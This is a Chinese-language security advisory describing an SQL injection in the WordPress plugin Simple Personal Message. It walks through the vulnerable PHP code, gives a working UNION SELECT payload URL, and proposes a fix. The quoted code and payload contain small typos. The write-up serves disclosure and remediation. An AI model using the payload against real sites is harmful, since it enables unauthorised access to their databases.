#### Author:sebao(知道创宇404安全实验室)
#### Date:2016-12-06
## 1.漏洞简介 ##
[Simple Personal Message](https://wordpress.org/plugins/simple-personal-message/) 是为WordPress网站专门打造的隐私和安全的信息系统。采用Ajax 操作、可以基于群组的多用户之间的站内信息通信的插件.
## 2.漏洞影响 ##
### wordpress version###
3.5 or higher
### Simple Personal Message version ###
1.0.3 or older
## 3.漏洞复现##
### 环境搭建###
在wordpress后台,安装插件页面,搜索Simple Personal Message,即可安装最新版 1.0.3 版本插件。
安装完插件,在已安装的插件列表里,启用此插件即可。
### 漏洞分析###
漏洞文件代码位于
`/wp-content/plugins/simple-personal-message/admin/partials/simple-personal-message-admin-view.php` 中
```
<?php
global $wpdb;
$table = $wpdb->prefix . 'spm_message';
$id = esc_attr($_GET['message']);
$message = $wpdb->get_results("SELECT * FROM $table WHERE id = $ud");
$user = get_user_by('login', $message[0]->sender);
?>
```
我们看到 id变量的获取是 从`esc_attr($_GET['message'])`获取到的。跟踪一下 `esc_attr`函数,函数在`/wp-includes/formatting.php`文件的 3932行
```
function esc_attr( $text ) {
$safe_text = wp_check_invalid_utf8( $text );
$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
/**
* Filters a string cleaned and escaped for output in an HTML attribute.
*
* Text passed to esc_attr() is stripped of invalid or special characters
* before output.
*
* @since 2.0.6
*
* @param string $safe_text The text after it has been escaped.
* @param string $text The text prior to being escaped.
*/
return apply_filters( 'attribute_escape', $safe_text, $text );
```
从这里我们能发现`esc_attr`函数是 防xss过滤函数,漏洞文件没有对sql 进行过滤导致造成sql注入。
### 漏洞利用###
payload:
```
http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,user(),5,version(),7,8,9,10,11,12
```
![](http://i.imgur.com/QgjIBrj.png)
## 4.修复方案##
在`/wp-content/plugins/simple-personal-message/admin/partials/simple-personal-message-admin-view.php`文件,第26行添加sql过滤函数`esc_sql`
修复前:
`$message = $wpdb->get_results("SELECT * FROM $table WHERE id = $id");`
修复后:
`$message = $wpdb->get_results("SELECT * FROM $table WHERE id = '" . esc_sql($message_id) . "'");`
暂无评论